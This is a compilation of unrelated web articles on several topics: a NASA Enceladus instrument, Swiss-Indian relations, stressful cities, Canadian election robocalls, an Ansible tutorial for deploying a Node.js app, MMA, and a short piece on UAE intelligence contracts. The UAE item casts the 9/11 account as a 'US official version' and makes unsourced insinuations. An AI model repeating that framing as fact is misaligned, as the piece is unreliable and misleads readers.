“one of the most ambitious submillimeter instruments ever built,” Chin says in this NASA overview that SELFI should be able to detect and analyze 13 molecular species, ranging from water in various isotopic forms to methanol, ammonia, ozone, hydrogen peroxide, sulfur dioxide, and sodium chloride. Work on the instrument is sufficiently encouraging that the GSFC team believes SELFI will eventually be part of a proposal for a future mission to Saturn. Image: Dramatic jets of ice, water vapor and organic compounds spray from the south pole of Saturn’s moon Enceladus in this image captured by NASA’s Cassini spacecraft in November 2009. Credit: NASA/JPL-Caltech/Space Science Institute. Assuming it flies, the instrument should allow us to deduce the composition of the global ocean, and its potential for hosting extraterrestrial life. We have no idea whether Enceladus has warm hydrothermal vents of the sort that sustain life at the bottom of Earth’s ocean, but the prospect is enticing not only for this moon but for many of the other icy moons in the outer Solar System. Into Saturn’s Depths On the subject of Saturn, be aware as well of an interesting mission possibility called Hera, proposed as an M-class mission led by the European Space Agency, with collaboration from NASA (thanks Mike Fidler for the tip). The plan here is to detach an atmospheric probe from a ‘carrier-relay’ spacecraft as it approaches Saturn, letting the Hera probe enter Saturn’s atmosphere to study its tropopause, descending to pressure levels of at least 10 bars. From the proposal page: The primary science objectives will be addressed by an atmospheric entry probe that would descend under parachute and carry out in situ measurements beginning in the stratosphere to help characterize the location and properties of the tropopause, and continue into the troposphere to pressures of at least 10 bars. All of the science objectives, except for the abundance of oxygen, which may be only addressed indirectly via observations of species whose abundances are tied to the abundance of water, can be achieved by reaching 10 bars. The Hera proposal recalls two previous missions, the first being the Galileo probe that was carried aboard the main Galileo spacecraft to Jupiter, entering the Jovian atmosphere on December 7, 1995 and continuing to function for close to an hour as it descended. The other analog is, of course, Cassini carrying the Huygens probe for the spectacular 2005 landing on Titan. That was a collaboration between ESA and NASA that paid off handsomely, and it provides a model for the carrier/data relay spacecraft model that Hera would use. -Switzerland holds India in great esteem; a vast country of diverse cultures with a rich heritage, an emerging economic power and the world’s largest democracy. We can depend on close relations based on the Treaty of Friendship that was signed between our two countries almost 70 years ago. Today, the aim is to further deepen that cooperation and to take a determined approach to addressing global challenges for the benefit of both our countries. Advertising Switzerland’s swift recognition of India’s independence in 1947, the prompt adoption of diplomatic contacts and the conclusion of the Treaty of Friendship in 1948, laid the foundations for the good relations between our two countries that continue to this day. I am therefore delighted that we are launching a programme to mark this anniversary under the heading “70 Years of Swiss-Indian Friendship: Connecting Minds — Inspiring the Future”. Although in doing so, we are not looking to the past, but to the future. At a time in which nationalism and protectionism are gaining ground in many places, we, instead, want to seize the opportunities offered by openness and cooperation. That includes the free trade and economic agreements currently being negotiated by the European Free Trade Association (EFTA) and India. Therefore, during my state visit to India on August 31and September 1, one of the topics of discussion with President Ram Nath Kovind, Prime Minister Narendra Modi and members of his cabinet will be free trade. Cooperation in the fields of transport, energy and vocational education and training will also be on the agenda, as will digitalisation and climate change. In our efforts to deepen cooperation we should not overlook how much we have already achieved. The Treaty of Friendship, which was proposed by Jawaharlal Nehru, the founder of the Indian state, as a sign of his appreciation for Switzerland, and which speaks of “perpetual peace” and “unalterable friendship”, has served as a basis for our political relations. These have been reinforced in recent decades by regular high-level visits. We have been able to conclude numerous agreements in a wide range of areas, such as trade, investment, development cooperation, education, visas, migration, air transport and cooperation in science and technology. The two sides signed a joint declaration on the mutual automatic exchange of financial account information in November 2016. Economic exchanges are also intensive. India is one of Switzerland’s most important trading partners in Asia and Switzerland is the 11th largest foreign investor in the country. As of the end of 2015, Swiss direct investment in India had led to the creation of up to 1,00,000 jobs, which is why a sound investment protection framework is important. Tourism is also thriving with many Indian nationals travelling to Switzerland to discover the country — and many Swiss enjoy travelling to India. There is a great deal of potential in the bilateral relations between our countries that has yet to be tapped, which is why I am being accompanied on my visit by a sizeable group of business people and representatives from business associations. India has initiated numerous reforms in recent years to further improve its framework conditions. Significant investment is also planned in public transport and renewable energies. Switzerland and its businesses can contribute a great deal of know-how in these areas. Thanks to its capacity for innovation, its well-trained skilled labour, excellent infrastructure and political stability, Switzerland is among the most competitive countries in the world. Given our common experiences, I am convinced that we should act together on climate policy. Unpredictable monsoon rains and the melting of glaciers in the Himalayas will have an impact on the lives of millions of people in India. The glaciers are receding in Switzerland too, which has an influence on water management and energy production. The thawing of the permafrost will make our hillsides more unstable which in turn poses a threat to many villages and valleys. It would, therefore, make sense to further deepen cooperation in the areas of climate change and sustainable development. As part of its Energy Strategy 2050, Switzerland has decided to take steps to improve energy efficiency and boost the share of renewable energies in the energy mix. India’s energy strategy, which is currently being drawn up, shares the same priorities. In terms of energy efficiency and the increased use of renewable energies, a number of joint projects are already under way between our two countries. One of those is CapaCITIES, where Switzerland is helping municipal authorities in India to reduce greenhouse gas emissions. A major rail infrastructure project was completed in Switzerland last year. The opening of the Gotthard base tunnel, which at a length of 57 km is the world’s longest railway tunnel, shows that pioneering achievements are still possible in the 21st century. This link through the Alps has brought northern and southern Europe closer together. People and goods are able to reach their destination quicker. Advertising With globalisation and digitalisation, it seems that the distance between India and Europe is shrinking — and that’s a good thing. The world faces many challenges, which can only be overcome by working together. I hope that my visit can help to strengthen bilateral relations between our two nations. As a vast country of diverse cultures with a rich heritage, an emerging economic power and the world’s largest democracy, India can be sure of Switzerland’s support. -(CNN) — If peace of mind means strolling home past trees and flowers, a fat bank balance at your disposal, and with a secure job to head to the next day, then the best place to find it is Germany A new study has revealed the world's most and least stressful cities of 2017, based on factors including traffic levels, public transport, percentage of green spaces, financial status of citizens including debt levels, physical and mental health, and the hours of sunlight the city gets per year. Of the 150 cities ranked, four out of the top ten most stress-free cities are in Germany. The southern city of Stuttgart comes out on top, with Hanover in third place, Munich in fifth place and Hamburg in joint ninth place with Graz, Austria. The tiny yet wealthy country of Luxembourg, home to fewer than 600,000 people, has the second-lowest stress levels. Bern, Switzerland is fourth, while Bordeaux, France (No. 6) and Edinburgh , UK (No. 7) also make it to the top of the charts. Sydney, Australia (No.8) is the only non-European city to break the top ten, while Seattle is the most chill US city. Greenbacks and green spaces The study, by UK-based dry-cleaning and laundry service Zipjet, was conducted by studying 500 locations based on data relating to 17 categories covering infrastructure, pollution levels, finance and citizens' wellbeing. This determined a ranking of 150 cities with available data on all factors relating to the study. The city ranked the most stressful overall is Baghdad -- with a total score of 10 compared with Stuttgart's one -- followed by Kabul. Stuttgart's formula for worry-free living, meanwhile is having a strong local economy -- this is the home of Porsche, Bosch and Mercedes-Benz -- but also coming out top in the study for the highest percentage of green spaces within the city limits. The city is spread across a range of hills and valleys, some covered with vineyards. Stuttgart's generous greenery "really [has] a noticeable effect on stress," says Stuttgart-based PR professional David Moos. "The ability to feel less enclosed can help you in not feeling stifled, and personally I find this reduces anxiety. The feeling of security in the city, both financial and in the sense of personal safety, is also a great comfort." The formula for easy living Public transport getting you down? Not if you're a Singaporean. ROSLAN RAHMAN/AFP/AFP/Getty Images Luxembourg has the lowest population density after Kuwait City, and Sydney and Melbourne (No. 6 and No. 7) are also relatively uncrowded urban spaces. Residents of Singapore and Taipei are most satisfied with their cities' public transport, while Leipzig, Germany and Montpelier, France have the lowest levels of traffic congestion. In the security category -- in which the official average rates of theft and murder are weighted against United Nations data on the local perception of security per capita -- Abu Dhabi was judged the most "safe" place to live by its citizens, with Osaka, Japan in second place. And while sunny weather is an instant mood-lifter all over the world, high levels of annual sunshine didn't count for much in terms of a city's overall ranking. War-torn Damascus came out top in that category, while Bordeaux -- at No. 56 -- was the sunniest city in the top ten. North America came out tops in terms of low air pollution levels, with Miami, Seattle, Vancouver and Boston leading the way. Abidjan, in the Ivory Coast, has the lowest noise pollution, while Antananarivo, Madagascar, and Reykjavik have the lowest light pollution. Disposable income Reykjavik comes out best in the Physical Health and Gender Equality categories. AFP/Getty Images/Leon Neal Phnom Penh has the lowest official unemployment rates and Brunei's Bandar Seri Begawan has the lowest debt per capita, but the real measure of a city's financial health is in the Family Purchasing Power category, which balances average household salaries with the cost of living. Munich came out top by this criteria, followed by Luxembourg, Sydney, Monaco and Stuttgart. Athens scored best in the Social Security category but, with rioters taking to the street earlier this year to protest increases in tax and social security contributions, it may be what the Ancient Greeks described as a Pyrrhic victory. Luxembourg, Bordeaux and Graz performed best in the Mental Health category, while Reykjavik has the best record for Physical Health. The Icelandic capital also comes out tops when it comes to gender equality. The race equality category -- based on data from a World Bank ethnic inequality report -- is, perhaps surprisingly, topped by cities in the US. San Francisco, Boston and Seattle take the top three slots. Glamorous, global cities such as London (No. 70), Tokyo (No. 72), Paris (No. 78) clustered around the middle of the league table, with New York (No. 84) being the most stress-inducing of the big four. The study has some overlap with other recent lists, such as the world's most liveable cities , where Melbourne is No. 1, and the world's happiest countries , which is topped by Norway. But peace of mind doesn't come cheap: Sydney, Vancouver and Melbourne are also some of the world's most expensive cities For the full results and methodology, visit the Zipjet site. The world's least stressful cities 1. Stuttgart, Germany 2. Luxembourg City, Luxembourg 3. Hanover, Germany 4. Bern, Switzerland 5. Munich, Germany 6. Bordeaux, France 7. Edinburgh, UK 8. Sydney, Australia 9. (tie) Graz, Austria and Hamburg, Germany The world's most stressful cities 1. Baghdad, Iraq 2. Kabul, Afghanistan 3. Lagos, Nigeria 4. Dakar, Senegal 5. Cairo, Egypt 6. Tehran, Iran 7. Dhaka, Bangladesh 8. Karachi, Pakistan 9. New Delhi, India -OTTAWA - The Conservative party asked for the location of all polling stations and then contacted voters about where to find them during last year's federal campaign, despite a request they not do so by Elections Canada for fear of muddying the election-day waters. It's just the latest wrinkle in an evolving investigation into evidence that someone impersonated an Elections Canada official in order to misdirect voters to the wrong polling stations. Elections Canada is investigating clear evidence of fraudulent calls in Guelph, Ont., amid an avalanche of unverified complaints of similar fake calls across the country. Elections Canada confirms the Conservative party requested a list of all polling stations before the federal vote last May 2, and that as a result the elections watchdog provided the list to all parties. In its statutory report following the 2011 campaign, released last August, Elections Canada highlighted the incident in a separate box. "Because a polling site can be replaced by another at the last minute, and to ensure that electors always have access to the most accurate information regarding their location, Elections Canada indicated to political parties that the list supplied should only be used for internal purposes and that parties should not direct electors to polling sites," said the report. All parties were instructed to tell voters to check Elections Canada's website or their voter information card for poll locations "to prevent electors from being directed to incorrect polling sites." "Some political parties did not comply with this request," said the report. Elections Canada could not immediately say Monday which parties disregarded its advice. But the Conservatives have been readily acknowledging for a week that they contacted party supporters by phone with information on poll locations. "Elections Canada has now confirmed that at least 127 late polling station changes were made during the recent election, affecting as many as 1,000 polls," Dean Del Mastro, the parliamentary secretary to Prime Minister Stephen Harper, told the House of Commons last Monday. "We contacted our supporters to make them aware of those polling station changes so they could cast their votes." Del Mastro again repeated the assertion Monday. Elections Canada says 127 polling stations out of 15,262 across Canada moved locations during the campaign period. The list shows polls moving in 65 of Canada's 308 ridings. A spokesman for the Conservative party, Fred Delorey, said in an email that "it's our job as a political party to get our supporters out to vote." Delorey did not directly address why the party ignored Elections Canada's request that it not contact voters about poll locations. "While calling Conservative supporters and encouraging them to vote we wanted to make sure they knew where to go," he wrote in response. The growing scandal over allegations of voter suppression and impersonating Elections Canada officials has had the governing Conservatives on the defensive for almost two weeks, but they have consistently maintained that they did nothing wrong while advising their supporters where to vote. "The Conservative party can say absolutely, definitively, that it has no role in any of this," Harper told the Commons last week. Also on HuffPost -As IT systems become more complex and the need for better solutions to manage hundreds and thousands of services and applications increases, administrators have realized that using traditional operational methods to manage scalable systems are not working any more. Tools for configuration management and automation become essential. Such tools can be used to install a certain software on hundreds of servers just by defining a few lines of code. They can also be used to continuously deploy a new version of an application to a testing or production environment … In this post I am going to use Ansible, which is one of the popular orchestration tools nowadays, to install a node.js application, with all its needed components. To make it a little more fun I have chosen a chess game application that is based on https://github.com/benas/gamehub.io – a real-time multiplayer game server based on node.js, Express, SocketIO, MongoDB and ElasticSearch. What is Ansible? Ansible is a powerful orchestration and IT automation tool created by Michael DeHaan at 2012. This tool can be used to install a piece of software on remote host(s), deploy applications, rollout updates, run ad-hoc tasks or to even manage your own local machine. Ansible works by pushing commands to servers through SSH connections, it is an agent-less tool that doesn’t require a daemon or an agent running on the remote destination, which means all you need to start using ansible is the tool itself and an SSH network connection. This makes it very simple to deploy in most enterprise environments as SSH is already setup for most of the infrastructure. Later we will see that Ansible uses the YAML language to write its own tasks and instructions, which makes it very easy to read and use. Ansible has one of the best documentation you can encounter, this post will not go through how to use Ansible or a getting started guide, but you need to familiarize yourself with a few concepts before you start with Ansible: Ansible is Agent-less Ansible only requires SSH access on the remote host to be able to run tasks and operations on that host. It can be used to run tasks on several hosts at the same time as long as it has remote SSH access on them. Ansible is Idempotent An idempotent operation is an operation that will always yield the same result when it’s called with the same input and ran on the same machine. Ansible runs on that concept, which means if you ran an Ansible task on the same machine multiple times you will get the same result and Ansible is smart enough to detect the first change and not repeat the operation multiple times. Ansible is Modular Ansible comes with a set of modules, those modules control system resources and applications. An example for that is the setup module that is used to gather information about the remote hosts. These modules can be used as ad-hoc commands or using playbooks. Introducing The NodeJS Application We will walk through installing an open-source Node.js application called ChessHub.io which is based on Gamehub.io which is a real time gaming server developed by Mahmoud Ben Hassine. The GameHub application requires the following components to run on a server: Node JS Express JS Passport JS Socket.io Handlebars.js Mongo DB ElasticSearch We will be installing Node.js, MongoDB, ElasticSearch as separate components while the others will be installed as dependencies of the application. (located in package.json file) Setting up the Application Environment The application will basically run on 2 machines on DigitalOcean, one to run the Node.js server along with Nginx and the other server is for ElasticSearch and MongoDB servers. The following is a simple diagram describing the entire setup: The communication between the two machines will be done through the private network which will be configured when we create the 2 droplets. As an addition i will use Ansible also to create those droplets before starting the configuration. Creating The Ansible Playbook The playbook will consists of several roles, each role will be responsible for set of tasks to install a component or a piece of software. To simplify the process, I will discuss the playbook in three parts or plays: Part 1: Provisioning droplets and common tasks. Part 2: Front-end roles (Nginx, NodeJS,..) Part 3: Backend roles (Elasticsearch, MongoDB,..) Before going through each part we need first to take a look on the big picture, the file structure of the project will be as the following: $ tree -L 2 . |-- digital_ocean.py |-- do_droplets.yml |-- env |-- group_vars | `-- all.yml |-- playbook.yml |-- README.md `-- roles |-- application |-- common |-- elasticsearch |-- mongo |-- nginx `-- nodejs The project consists of 6 roles in total, and a file for all the variables inside group_vars directory, also the do_droplets.yml is the file that is responsible for creating the DigitalOcean droplets, in the next few sections I will reference some snippets from the playbook and the roles, you can find the whole thing here if you are interested. Part1: Provisioning Droplets and Common Tasks DigitalOcean has an API that allows you to list, create, delete, stops, etc. droplets and at the 2nd of April, DO announced that V2 of its API came out of the Beta version after nine months of its release to include more features than V1. Ansible uses a famous python wrapper called dopy to communicate with the API, and as of Ansible 2.0, Version 2 of the DigitalOcean API is used, but since version 2 still in alpha testing state, we are going to use Ansible 1.9 and version 1 of the DigitalOcean API Before starting with the tasks that will create the droplets, make sure that dopy is installed: $ sudo pip install dopy To create a new droplet, I will use Jeff Geerling’s dynamic inventory for DigitalOcean, This inventory requires two environment variables to be set: DO_CLIENT_ID DO_API_KEY $ export DO_CLIENT_ID=xxxxx $ export DO_API_KEY=xxxxxx In the do_droplets.yml file we will create two tasks that are responsible for creating two machines and use them later to to run the rest of the roles: do_droplets.yml --- - hosts: localhost connection: local gather_facts: false tasks: - name: Create Front-end Droplet digital_ocean: state: present command: droplet name: node1 private_networking: yes size_id: 64 image_id: 13089493 region_id: 7 ssh_key_ids: 430781 unique_name: yes register: node1 - name: Add node2 to the inventory. add_host: ansible_ssh_host: "{{ node1.droplet.ip_address }}" ansible_ssh_port: 22 name: node1 groups: node1 when: node1.droplet is defined - name: Create Backend-end Droplet digital_ocean: state: present command: droplet name: node2 private_networking: yes size_id: 64 image_id: 13089493 region_id: 7 ssh_key_ids: 430781 unique_name: yes register: node2 - name: Add node2 to the inventory. add_host: ansible_ssh_host: "{{ node2.droplet.ip_address }}" ansible_ssh_port: 22 name: node2 groups: node2 when: node2.droplet is defined - hosts: - node1 - node2 remote_user: root tasks: - name: Wait for port 22 to become available. local_action: "wait_for port=22 host={{ ansible_eth0.ipv4.address }}" Basically these plays do the following: 1. Create the Frontend and the Backend droplets each with 1GB of ram and add my key to the root user, also enable private networking. 2. Wait until the port 22 become available in both nodes. Common Role The common role installs the commonly used packages like vim, curl, git-core, etc, the task will go like this: - name: Install needed packages apt: name={{ item }} state=present update_cache=yes with_items: common_packages The previous lines describe how to use the apt module to install packages at the remote hosts using apt-get command, the {{ item }} is an iteration through a list variable which is in this case the common_packages variable, the variable is simply a list of packages names like this: common_packages: - vim - screen - sudo - htop - strace - curl - wget - git-core After installing the common packages, it add a swap to the machine, and finally add a user and its key to the droplet. Part 2: Installing Nginx and Node.js The following part will be added to the playbook.yml in order to add 3 roles one for Nginx and the other is for Nodejs installation, and the last one is for installing the application itself. The Nginx role is simple, it adds the repository for Nginx package and installs Nginx and add the default configuration which may be little tricky, as we will see in a bit: --- - name: Include Gzip Configuration include_vars: gzip.yml when: nginx_gzip == "on" - name: Add Nginx Repository apt_repository: repo='ppa:nginx/{{ nginx_version }}' state=present register: nginxrepo - name: Install Nginx apt: pkg=nginx state=installed update_cache=true when: nginxrepo | success notify: - Start Nginx - name: Remove Default Site file: dest=/etc/nginx/sites-enabled/default state=absent when: nginx_delete_default | bool - name: Add Nginx Configuration template: src=nginx.conf.j2 dest=/etc/nginx/nginx.conf notify: - Restart Nginx The role adds a template configuration for the nginx.conf file, the template is written in Jinja2 templating language, which can contain variables, if conditions, loops, etc. A snippet from the configuration will be like the following: # event mod Configuration # ########################### events { # 1024 worker_connections {{nginx_worker_connections }}; # 32 worker_aio_requests {{ nginx_worker_aio_requests }}; # on accept_mutex {{ nginx_accept_mutex }}; } Nodejs Role The Nodejs role adds the repository of Nodesource that includes an up to date nodejs and npm packages, and then it installs them after updating the apt cache: - name: Add the Nodesource apt key apt_key: url=https://deb.nodesource.com/gpgkey/nodesource.gpg.key state=present - name: Add nodesource repository apt_repository: repo='deb https://deb.nodesource.com/node_0.10 trusty main' state=present - name: Install nodejs and some dependencies apt: name={{ item }} update_cache=yes state=present with_items: - nodejs - build-essential Application Role The application role will fetch the ChessHub application and installs the dependencies, i modified some of the code to be able to connect to ElasticSearch and MongoDB on different host, so i will be using my fork of the Chesshub application. The application role will do everything related to the deployment of the application, starting from creating the application directory, to installing the Nginx configuration and restarting the service, for example it will fetch the source code using git module and modify the configuration of the application: - name: Fetch the application source git: repo={{ git_repo }} dest=/var/www/chesshub accept_hostkey=yes force=yes - name: Install custom application configuration template: src=default.json dest=/var/www/chesshub/config/default.json And finally it will run the application using Forever tool and restart Nginx which will proxy all the requests to port 3000. Part 3: Backend roles (Elasticsearch, MongoDB,..) The rest of the roles are very simple. They basically install each tool and start it, except for MongoDB it will modify configuration file to make Mongo listen to any traffic coming from the private network. Note: I didn’t put security in consideration in this little project, as I am just illustrating a deployment of node.js using Ansible, but if you are going to deploy a similar deployment in production, there are a lot of other measures you have to take, which may be a topic for another post. There is no need to upload a new template if you are just going to change one line to the configuration, as in this case when we want to change the bind address configuration in /etc/mongod.conf: - name: bind address to the private ip lineinfile: dest=/etc/mongod.conf regexp='^bind_ip' line='bind_ip=127.0.0.1,{{ ansible_eth1.ipv4.address }}' notify: Restart mongo The regexp directive will search for a line that starts with “bind_ip” and change it to contain the private ip address of this node using an Ansible fact. Running the playbook To run the playbook, i will specify the dynamic inventory file (digital_ocean.py) to be used with ansible, which will communicate with DigitalOcean API to get information about the hosts, the running command will be like the following: $ ansible-playbook -i digital_ocean.py playbook.yml You should finally see something like the following and the application will run on the IP of node1 on port 80: PLAY RECAP ******************************************************************** localhost : ok=0 changed=4 unreachable=0 failed=0 node1 : ok=0 changed=61 unreachable=0 failed=0 node2 : ok=0 changed=48 unreachable=0 failed=0 -Last week, I was scouting some studio spaces in a Chelsea office building when I happened to notice a vacant office across the hall. Normally, I wouldn’t have given it a second thought, except something in the room happened to catch my eye… …was that a subway car inside?? It was a subway car! Or at least, a pretty creative replica of one… …right down to those chains they always have at the front… …and the yellow warning line on the platform: The train is actually divided inside into a series of offices… …each equipped with sliding stainless-steel doors: Doing some quick research, I learned that this used to be the offices of B-Train Films (which pretty much explains everything), a production company specializing in sports production (they’ve since moved on to a new office space). Very curious to see if the next tenants decide to keep their very own indoor subway train. -SCOUT If you enjoyed reading this post, would you consider making a donation to help me make my first movie? The goal is $50,000, and to date, 1,728 Scouting NY readers have donated $36,348! Just $5 or $10 can make a difference - AND you get this snazzy Scouting NY sticker/magnet as a Thank-You gift! Click here to donate today! And hey, if you've made it this far, why not follow us via RSS, Twitter, Facebook, Instagram, or Tumblr? -Watch transparents Bianca and Nick Bowser come out on 20/20 87 Shares Bianca and Nick Bowser, their sons Kai, 3, and Pax, 17 months, from Louisville Kentucky, were stealth until they came out on national television Friday. They don’t believe it will be an issue for their children with the way human rights has been progressing nationally. Transgender rights have been moving forward, but the progress has been limited without national laws. Kentucky has one high school with a transgender inclusive policy and one-state lawmaker who’s hell-bent on putting a $2,500 bounty on transgender students. World News Videos | ABC World News Kelli Busey Editor in Chief at Planet Transgender Kelli Busey an outspoken gonzo style journalist has been writing since 2007. In 2008, she brought the Dallas Advocate on-line and has articles published by the Reconciling Ministries Network, The Transsexual Menace, The Daily Kos, Frock Magazine the TransAdvocate, the Dallas Voice and The Advocate. Kelli, an avid runner is editor in chief at Planet Transgender which she founded in 2007. Related Facebook Comments -1 Southway Junior School's Alien Abduction You've probably noticed the pattern by now; while American schools tend to be blunt and direct with their policies of child abuse, schools in Britain prefer the more subtle and more deeply-scarring tactic of straight-up batshit lunacy. That's the best way we can explain this story: On July 10, 2009, the students at the UK Southway Junior School in Burgess Hill witnessed an alien abduction of their teacher. The school had an amazing effects budget. Continue Reading Below Advertisement It started with a shrieking, piercing noise and a cascade of colorful lights, after which the principal informed the students that a UFO crash-landed near the school. Following a trail of debris, the students laid their eyes on an extraterrestrial space craft, from which aliens emerged. Then the aliens kidnapped a member of the staff and, if Hollywood didn't lie to us, probed his rectum with various phallic objects. Of course, the abduction later turned out to be a "special performance" by the school staff, who even got the freaking police in on it, providing budget special effects in the form of sirens and flashing patrol car lights. Why? To stimulate the kids' imagination for writing assignments of course! Well, mission freaking accomplished because, by the end of this, they stimulated so many imaginations of that many of the seven-year-olds broke down in tears and complete confusion. "Why didn't I get to go on the spaceship ride?!" Damn, who could have known that kids who still believe in Santa Claus would have trouble telling reality from fiction? Cezary Jan Strusiewicz is a freelance online journalist and Japanese-English-Polish translator. Contact him via c.j.strusiewicz@gmail.com Do you have an idea in mind that would make a great article? Then sign up for our writers workshop! Know way too much about a random topic? Create a topic page and you could be on the front page of Cracked.com tomorrow! To find out what our readers think of education, check out If Schools Told the Truth. Or find out what lessons these institues should be instilling in their students, in The 10 Most Important Things They Didn't Teach You In School. And stop by our Top Picks (Updated 06.21.10) to see how we punish our interns. And don't forget to follow us on Facebook and Twitter to get sexy, sexy jokes sent straight to your news feed. -By Daniel Burke, CNN Belief Blog Editor (CNN) - Less than a year ago, Mark Driscoll, an evangelical pastor, was flying high. His hometown Seattle Seahawks were in the Super Bowl, and the brash pastor scored a big, faith-fueled interview with five of the team's top players, including quarterback Russell Wilson. But in a remarkably fast fall from grace, Driscoll resigned Tuesday as pastor of Mars Hill Church, a congregation he founded 18 years ago and turned into a force in the mostly secular Pacific Northwest. In a statement, Mars Hills' board of overseers said Driscoll hadn't committed any acts of "immorality, illegality or heresy" - sins that have felled many a powerful pastor. Instead, the board said, Driscoll is guilty of "arrogance, responding to conflict with a quick temper and harsh speech, and leading the staff and elders in a domineering manner." Driscoll was not asked to leave, the board added, saying they were "surprised" to receive his resignation letter. FULL STORY -Berlitz may be the best way to learn a foreign language, but most of us have neither the time nor the ability to fully immerse ourselves in the vocabulary of another country. Hot on the heels of Gmail's automatic translation feature hitting the big time, Google's Translate team has crafted a Chrome extension to make language learning a bit more accessible. The extension does the trick by translating random portions of text to any of its 64 supported languages, so that your native tongue is interspersed with the lingo you're learning. Users have a sliding scale to set their knowledge level from novice to fluent, and can roll over translated words to hear how they should be pronounced. Interested? Peep a video demo after the break to see it in action, or take the plunge and install it at the source below. -New Colt City, once known as San Franciscolt, was once a thriving city with a perpetual pulse rivaling that of even Manehattan. However, as the war went on and the water rose, the entire city was swallowed by the ocean until all that remained was the battered remains of the financial district. The final flicker of life was stomped out when the bombs hit and the city's skeleton was bathed in toxic residue-or so they thought.Many years later, life again emerged, but under a new banner- The New Colt City. A mysterious leader is said to be in control of this city, but only the most powerful of the citizens know of its true form.However great the city may be, some ponies will always seek adventure. Shortly after repairing a nearby boat, Firefly and Tinkerer journey off to a fabled city untouched by the bombs and filled with the attractions of the pre war era.I don't know, but I think this is one of my only happy fallout images.EDIT: I made this picture to be in the 1111th drawfriend, and when I saw it as the header, I was happy. I believe it's also the first of my images to make it to the header. -This weekend marks the death of Strikeforce, and after the promotion’s final event most of the fighters are expected to make their way over to the UFC. I say most and not all because there are many who are fighting for their jobs with Zuffa this weekend, but there have already been a few who have been assured that they will move over to the UFC win or lose on Saturday night in Oklahoma City. The promotion’s four world champions are amongst those who have been assured of their entry into the UFC. Below, I’ll discuss how I think each of these four men will do in the UFC, and if any of them have a chance to unify the titles. Gilbert Melendez Gilbert Melendez has nearly been assured of an immediate UFC lightweight title shot by UFC president Dana White, and I think he presents a very interesting matchup for the current champ, Benson Henderson. Both guys are terrific wrestlers and strikers, both are well-rounded, both come from great camps and both are experienced. Although Henderson has been unbeatable in the UFC thus far going a perfect 6-0, Melendez is possibly the best lightweight out there and it’s possible he just needs that one chance to prove it by getting his crack at Henderson and the lightweight belt. Even if Melendez doesn’t get the immediate title shot, there’s no doubting he’s only one win away from a crack at the belt. Maybe he fights Gray Maynard or Eddie Alvarez in a No. 1 contender’s matchup if Anthony Pettis defeats Donald Cerrone and the UFC elects to go with him for the title shot instead. But just from everything that’s been said already it seems like Melendez is the next guy who’s going to fight for the UFC lightweight title, and I for one can’t wait to see him and Henderson hook up. It’ll be a great fight. Nate Marquardt Assuming Nate Marquardt defeats Tarec Saffiedine this Saturday night — and the fight is by no means a gimme, as the Belgian is a very underrated fighter and a tough out for anyone in the division — then he’ll move into the UFC’s welterweight division and he’ll immediately be a title contender. Although I don’t believe he’ll fight the winner of Georges St-Pierre vs. Nick Diaz for the UFC welterweight title right off the bat — I think Johny Hendricks is a lock to fight for the belt next should he get by Jake Ellenberger — I think the UFC is going to match up Marquardt in a No. 1 contender fight with either the winner of Jon Fitch vs. Demian Maia or Carlos Condit vs. Rory MacDonald, and if he wins that fight then he’ll get a title shot. Marquardt was already a middleweight title contender in the UFC before he was unceremoniously let go in June 2011 so there’s no reason to think he can’t be a serious contender for the UFC welterweight crown. He looked amazing in his last outing against Tyron Woodley, and if he looks good again this weekend against Saffiedine in his second welterweight bout, he’ll have a ton of momentum behind him as he gets a second chance to fight the best in the world in the UFC. Luke Rockhold Luke Rockhold was set to fight at the Stirkeforce finale this weekend but an injury prevented him from putting his belt on the line against Lorenz Larkin. And therein lies the problem with Rockhold — yes, he’s an incredible athlete and a fantastic fighter, but he’s also very injury prone, and we all know that you have to stay active and keep fighting if you’re to get a shot at a title in the UFC, because one injury puts you right at the back of the line (just ask Erik Koch or Rashad Evans about that). Still, Rockhold’s clearly one of the best middleweights in the world when he’s healthy, and he’ll likely have a lot of success in the UFC. I don’t believe that Rockhold could defeat UFC middleweight champion Anderson Silva, nor do I believe he could beat Chris Weidman, but I think he could get by Michael Bisping, Alan Belcher, Tim Boestsch, and Mark Munoz. And that’s still pretty good. I think Rockhold is going to do well in the UFC. He’s going to be a perennial top-10 middleweight, but ultimately I think he comes up short of the belt, although he may eventually get his shot at it. However, I don’t see him getting an immediate title shot in his first UFC fight. Daniel Cormier Daniel Cormier won the Strikeforce Heavyweight Grand Prix and after he beats journeyman Dion Staring into a pulp on Saturday night, he’ll cross over to the UFC an make an immediate impact in the heavyweight division. Cormier has already expressed an interested in fighting former champ Frank Mir at the UFC on FOX 7 show in his native San Jose this April, so if Mir is healthy by then this fight makes perfect sense. Should Cormier defeat Mir in impressive fashion, there’s no doubting that he’ll be ready for a shot at the UFC heavyweight title. Yes, it’s presently owned by his teammate at AKA Cain Velasquez, but there’s no guarantee that Velasquez holds the belt six months from now, because he has Alistair Overeem waiting in the wings as a challenger, as well as a possible trilogy fight against Junior dos Santos should Overeem fall to Antonio “Bigfoot” Silva at UFC 156. With his incredible wrestling, speed and power, Cormier is a stylistic matchup nightmare for anyone at heavyweight in the UFC. Yes, he’s not the tallest guy for the division, but he makes up for his lack of size by being fast and super athletic, and if he drops to light heavyweight like he’s said he’s been contemplating, I’m afraid that the weight cut would take too much of a toll on him and he won’t be as effective. Either way, of all the Stirkeforce champs, I believe that Cormier has the best chance to win a UFC title, and even if he doesn’t, he’ll beat most guys in the top 10 of the heavyweight division. -At the beginning of the “Arab Spring”, the United Arab Emirates has entrusted to Larry Sanchez (photo), a former leader of the CIA’s clandestine service, to form and reorganize its secret services. He is acting in his capacity as the CEO of CAGN Global. Other companies are involved in this programme including LUAA and DarkMatter. Richard Clarke, the White House’s former anti-terrorist Tsar, who was the catalyst for the government’s continuity plan for 11 September 2001, is also the adviser to the Crown Prince of Abu Dhabi. He is present in his capacity as the CEO of Good Harbour Security Risk Management. According to the US official version of the September 11 attacks (which the Emirates has never subscribed to) two Emirates nationals were among the group of the pirates of the air. According to Foreign Policy (a US publication) the transfer of know-how on Intelligence is not a priori legal. It would need to be first subject to an FBI inquiry. -Back in June, while he was still a Piston, Lakers guard Kentavious Caldwell-Pope was sentenced to 12 months probation by a Michigan judge when he pleaded guilty to a misdemeanor of allowing a person to operate his vehicle under the influence. He reportedly violated that probation over the summer for failing a drug and alcohol screening order and, after pleading guilty to that violation last week, Caldwell-Pope is now splitting his time between the Lakers and jail. From the Los Angeles Times: The 24-year-old is serving his sentence in the Seal Beach Police Department Detention Center and, under a work-release program, is being allowed to leave the facility for games and practices, according to court and jail officials and court 